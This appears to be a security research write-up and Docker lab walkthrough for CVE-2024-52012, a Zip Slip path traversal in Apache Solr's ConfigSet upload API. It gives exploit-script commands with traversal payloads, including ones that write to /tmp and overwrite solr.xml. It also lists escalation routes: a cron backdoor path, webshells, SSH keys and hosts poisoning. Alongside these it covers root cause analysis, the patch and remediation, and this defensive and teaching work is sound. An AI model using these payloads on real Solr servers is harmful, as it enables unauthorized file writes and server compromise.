Explore CVE-2024-52012, a Zip Slip path traversal vulnerability in Apache Solr’s ConfigSet Upload API that allows unauthenticated attackers to write arbitrary files anywhere on the server filesystem — leading to remote code execution, persistence, and full server compromise.
What is Apache Solr?
Apache Solr is an open-source enterprise search platform built on Apache Lucene. It powers full-text search and analytics for organizations like Netflix, Apple, and Bloomberg. Solr provides distributed indexing, replication, load-balanced querying, and centralized configuration management.
Solr supports dynamic configuration through configsets — bundles of XML configuration files (schema definitions, request handler mappings, analysis chains) that define how a Solr collection processes and indexes data. In SolrCloud mode, these configsets are uploaded to ZooKeeper and distributed across the cluster. The ConfigSet API at /solr/admin/configs manages this process — and is the component affected by CVE-2024-52012.
Lab Setup
This lab uses a Docker-based environment that replicates the vulnerable behavior of Apache Solr 9.7.0. A vulnerable proxy intercepts ConfigSet upload requests and extracts ZIP entries without path sanitization, exactly replicating the unpatched FileSystemConfigSetService.uploadFileToConfig behavior. All other requests pass through to a real Solr 9.7.0 instance.
Architecture
[Exploit Script] --POST ZIP--> :8983 (Vulnerable Proxy) --other requests--> :8984 (Real Solr 9.7.0)
|
v
Extracts ZIP to filesystem
WITHOUT path validation
(Zip Slip -> arbitrary file write)
Prerequisites
- Docker Desktop installed and running
- Python 3 with requests library (pip install requests)
Project Structure
CVE-2024-52012/
lab/ # Docker lab environment
Dockerfile # Builds vulnerable Solr 9.7.0 image
docker-compose.yml # One-command lab startup
vuln_proxy.py # Vulnerable proxy (replicates CVE behavior)
entrypoint.sh # Container entrypoint
exploit/ # Exploit tools
ApacheSolarExploit.py # PoC exploit script
README.md
Step 1: Build and Start the Lab
cd lab
docker-compose up -d --build
Wait approximately 20–30 seconds for Solr to fully start.
Step 2: Verify Solr is Running
Open browser: http://localhost:8983/solr
The Solr Admin UI should load, showing version 9.7.0. The UI is fully functional — the vulnerable proxy transparently forwards all non-exploit requests to the real Solr backend.
Step 3: Run the Exploit
cd ../exploit
python3 ApacheSolarExploit.py \
--url http://localhost:8983 \
--configset evilcfg \
--output "../../evil.txt" \
--content "CVE-2024-52012 pwned"
Step 4: Verify the Arbitrary File Write
docker exec cve-2024-52012-solr bash -c 'cat /var/solr/data/evil.txt'
# Output: CVE-2024-52012 pwned
The file was written to /var/solr/data/evil.txt — outside the configset directory at /var/solr/data/configsets/evilcfg/. This confirms the path traversal vulnerability.
Cleanup
cd lab
docker-compose down
Vulnerability Overview
CVE-2024-52012 is a Zip Slip vulnerability — a well-documented class of path traversal bugs that occur when an application extracts files from a ZIP archive without validating that the resolved output path stays inside the intended destination directory.
When a user uploads a configset via the Solr Admin API (/solr/admin/configs?action=UPLOAD), the server receives a ZIP archive and extracts its contents into the configset storage directory. The vulnerable code reads each ZIP entry’s filename and uses it directly to construct the output file path. Because ZIP entry names can contain path traversal sequences such as ../ (Unix) or ..\\ (Windows), an attacker can craft a ZIP archive whose entries resolve to paths outside the configset root.
The result is arbitrary file write — the attacker controls both the destination path and the file contents. No authentication is required by default. The entire exploit is a single HTTP POST request.
Proof of Concept
The PoC exploit script (ApacheSolarExploit.py) accepts all parameters as required command-line arguments. It builds a malicious ZIP in memory and uploads it to Solr’s unauthenticated ConfigSet API.
The PoC exploit is publicly available at Securelayer7 Research
Usage
python3 ApacheSolarExploit.py \
--url http://localhost:8983 \
--configset evilcfg \
--output "../../evil.txt" \
--content "CVE-2024-52012 proof of write"

Verification
docker exec cve-2024-52012-solr bash -c 'cat /var/solr/data/evil.txt'
# Output: CVE-2024-52012 proof of write
The file was written to /var/solr/data/evil.txt, which is outside the intended configset directory at /var/solr/data/configsets/evilcfg/. This confirms path traversal via Zip Slip.
Example Payloads
# Write file 2 levels up from configset root
python3 ApacheSolarExploit.py --url http://localhost:8983 --configset test1 \
--output "../../proof.txt" --content "path traversal works"
# Written to: /var/solr/data/proof.txt
# Write to /tmp (deep traversal)
python3 ApacheSolarExploit.py --url http://localhost:8983 --configset test2 \
--output "../../../../tmp/pwned.txt" --content "written to /tmp"
# Written to: /tmp/pwned.txt
# Overwrite solr.xml (breaks Solr -- demonstrates impact)
python3 ApacheSolarExploit.py --url http://localhost:8983 --configset test3 \
--output "../../solr.xml" --content "<solr/>"
Attack Modes
Depending on the target platform, this primitive can be escalated to full RCE:

The Attack Flow

The attacker crafts a malicious ZIP archive containing a path traversal entry such as ../../../etc/cron.d/backdoor, then sends a single unauthenticated HTTP POST to the ConfigSet Upload API. Solr processes the ZIP, passes the attacker-controlled filename directly to uploadFileToConfig() which calls Path.resolve() with no validation. The resulting path escapes the configset directory and Files.write() writes attacker content to an arbitrary location on the filesystem — enabling remote code execution and full server compromise.
Static Analysis
Three factors compound the severity of this vulnerability:
No Authentication by Default
The ConfigSet API at /solr/admin/configs accepts unauthenticated HTTP POST requests in default Solr deployments. While Solr supports BasicAuth and Kerberos plugins, neither is enabled by default. Many installations — particularly internal-facing or development instances — run without authentication, making exploitation trivial for any network-adjacent attacker.
Process Privileges
On Linux, Solr typically runs as a solr user with access to its own directories. On Windows, however, Solr services installed via the Windows Service Installer (NSSM) often run as NT AUTHORITY\\SYSTEM, granting the process write access to nearly every file on the system. This dramatically amplifies the impact of an arbitrary file write.
Multiple RCE Paths
An arbitrary file write primitive opens several avenues to remote code execution. An attacker can plant cron jobs for persistent reverse shells (Linux), deploy JSP webshells for direct command execution, inject SSH keys for persistent access, poison DNS via hosts file modification (Windows), or tamper with Solr’s own configuration files for data exfiltration.
Root Cause Analysis
The vulnerability resides in the FileSystemConfigSetService class, specifically in the uploadFileToConfig method responsible for extracting ZIP entries to disk.
The Vulnerable Method
The method joins the configset root directory with the ZIP entry name and writes directly — no canonicalization, no containment check:
// FileSystemConfigSetService.java -- vulnerable extraction logic
public void uploadFileToConfig(String configName, String fileName,
byte[] data, boolean overwriteOnExists) throws IOException {
Path configDir = getConfigDir(configName);
Path filePath = configDir.resolve(fileName); // fileName is ATTACKER-CONTROLLED
// No validation -- filePath may resolve OUTSIDE configDir
if (!overwriteOnExists && Files.exists(filePath)) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"file already exists: " + fileName);
}
Files.createDirectories(filePath.getParent());
Files.write(filePath, data);
}
Traversal Mechanism
When a ZIP archive contains an entry with a name like ../../../etc/cron.d/backdoor, the Path.resolve() call produces a path that traverses upward out of the configset root:
configDir = /var/solr/data/configsets/evilconfig
fileName = ../../../etc/cron.d/backdoor
Path.resolve() produces:
/var/solr/data/configsets/evilconfig/../../../etc/cron.d/backdoor
Filesystem canonicalization:
/etc/cron.d/backdoor <- OUTSIDE configset directory
On Windows, ..\\ achieves the same effect — potentially reaching system-critical paths when Solr runs as SYSTEM:
configDir = C:\solr\server\solr\configsets\evilconfig
fileName = ..\..\..\..\..\Windows\System32\drivers\etc\hosts
Resolved: C:\Windows\System32\drivers\etc\hosts
Upstream Extraction Handler
The configset upload handler passes ZIP entry names directly to uploadFileToConfig without any sanitization:
// ConfigSetAPIBase.java -- iterates ZIP entries without validation
try (ZipInputStream zis = new ZipInputStream(inputStream)) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
if (!entry.isDirectory()) {
String entryName = entry.getName();
// Attacker-controlled from ZIP header
byte[] data = zis.readAllBytes();
configSetService.uploadFileToConfig(
configName, entryName, data, overwriteOnExists);
}
}
}
The entry.getName() value is taken verbatim from the ZIP central directory header. There is no stripping of .. components, no path validation, and no rejection of suspicious entry names. The vulnerability is a textbook CWE-23 (Relative Path Traversal).
Patch Diffing
The fix introduced in Apache Solr 9.8.0 adds path normalization and a containment check to the uploadFileToConfig method.
Before vs After
Vulnerable (Solr 6.6 through 9.7.0):
public void uploadFileToConfig(String configName, String fileName,
byte[] data, boolean overwriteOnExists) throws IOException {
Path configDir = getConfigDir(configName);
Path filePath = configDir.resolve(fileName);
// No validation -- filePath may be anywhere on the filesystem
Files.createDirectories(filePath.getParent());
Files.write(filePath, data);
}
Patched (Solr >= 9.8.0):
public void uploadFileToConfig(String configName, String fileName,
byte[] data, boolean overwriteOnExists) throws IOException {
Path configDir = getConfigDir(configName).toRealPath();
Path filePath = configDir.resolve(fileName).normalize();
// Containment check: ensure resolved path is within configDir
if (!filePath.startsWith(configDir)) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"Path traversal attempt detected in configset file name: "
+ fileName);
}
if (!overwriteOnExists && Files.exists(filePath)) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"file already exists: " + fileName);
}
Files.createDirectories(filePath.getParent());
Files.write(filePath, data);
}
Why This Fix Works
The normalize() call collapses all .. and . segments in the resolved path, producing a clean absolute path. The startsWith() check then verifies that this normalized path is a descendant of the configset directory. If an attacker supplies a ZIP entry name containing ../ sequences, the normalized path will resolve outside configDir, the startsWith() check will fail, and the server will reject the upload with an explicit error — before any file is written.
This pattern — normalize then check containment — is the standard Zip Slip remediation as documented by Snyk’s original Zip Slip disclosure.
Conclusion
Impact
CVE-2024-52012 grants an unauthenticated attacker the ability to write arbitrary files to any location writable by the Solr process, which can be leveraged for remote code execution, persistence, and full server compromise.
| Impact Category | Severity | Description |
| Confidentiality | HIGH | Overwrite configs to exfiltrate data or redirect queries |
| Integrity | HIGH | Write arbitrary files, plant webshells, modify system configs |
| Availability | HIGH | Corrupt indexes, overwrite critical files, crash the service |
| Privileges | Process-level | Writes as solr (Linux) or SYSTEM (Windows) |
Exploitation Requirements
| Requirement | Details |
| Network access | HTTP to Solr port 8983 |
| Authentication | None — ConfigSet API is unauthenticated by default |
| User interaction | None — fully automated, single HTTP request |
| Solr mode | SolrCloud (configset API requires ZooKeeper) |
| Attacker tools | Python 3 with requests and zipfile (standard library) |
Remediation
- Upgrade to Apache Solr 9.8.0 or later — adds path canonicalization and containment checks to the configset extraction logic
- Enable authentication — configure BasicAuth or Kerberos on all admin endpoints to prevent unauthenticated API access
- Network segmentation — restrict port 8983 to trusted management hosts; never expose the Solr admin interface to untrusted networks
- Least privilege — run Solr as a dedicated low-privilege user, not root or SYSTEM
- File integrity monitoring — deploy tools to detect unexpected file writes outside Solr’s designated directories.
References
https://github.com/securelayer7/Research/tree/main/CVE%E2%80%912024%E2%80%9152012


